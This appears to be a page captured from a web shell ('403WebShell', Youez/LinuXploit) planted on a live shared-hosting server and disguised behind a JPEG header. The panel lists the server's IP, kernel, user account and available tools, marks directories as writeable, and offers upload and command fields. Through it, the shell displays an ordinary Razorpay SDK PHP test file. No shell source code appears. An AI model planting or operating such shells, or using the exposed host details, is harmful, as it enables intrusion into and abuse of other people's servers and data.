����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.144.108.175
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/./bofirm.gltechlimited.com/vendor/razorpay/razorpay/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/./bofirm.gltechlimited.com/vendor/razorpay/razorpay/tests/ApiTest.php
<?php

namespace Razorpay\Tests;

use Razorpay\Api\Request;

class ApiTest extends TestCase
{
    
    private $title = "codecov_test";

    private $url = 'https://api.razorpay.com';

    public function setUp(): void
    {
        parent::setUp();
    }
    
    /**
     * Get app details
     */
    public function testGetAppDetails()
    {
        $this->api->setAppDetails($this->title);

        $data = $this->api->getAppsDetails();

        $this->assertTrue(is_array($data));

        $this->assertTrue($this->title==$data[0]['title']);
    }

    /**
     * Get app details
     */
    public function testSetBaseUrl()
    {
        $this->api->setBaseUrl($this->url);

        $data = $this->api->getBaseUrl();
 
        $this->assertTrue($this->url==$data);

    }

    public function testGetkey()
    {
        $data = $this->api->getKey();

        $this->assertTrue(strlen($data) > 0);
    }

    public function testGetSecret()
    {
        $data = $this->api->getSecret();
        $this->assertTrue(strlen($data) > 0);
    }

    public function testFullUrl()
    {
        $pattern = '/^(https?:\/\/)?([a-z0-9-]+\.)+[a-z]{2,}(\/.*)?$/i';
        $url = $this->api->getFullUrl($this->api->getBaseUrl()."orders","v1");
        $this->assertTrue(preg_match($pattern, $url, $matches)==true);      
    }

    /**
     * @covers \Request
     */
    public function testgetheader()
    {
        $data = Request::getHeaders();
        $this->assertTrue(is_array($data));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit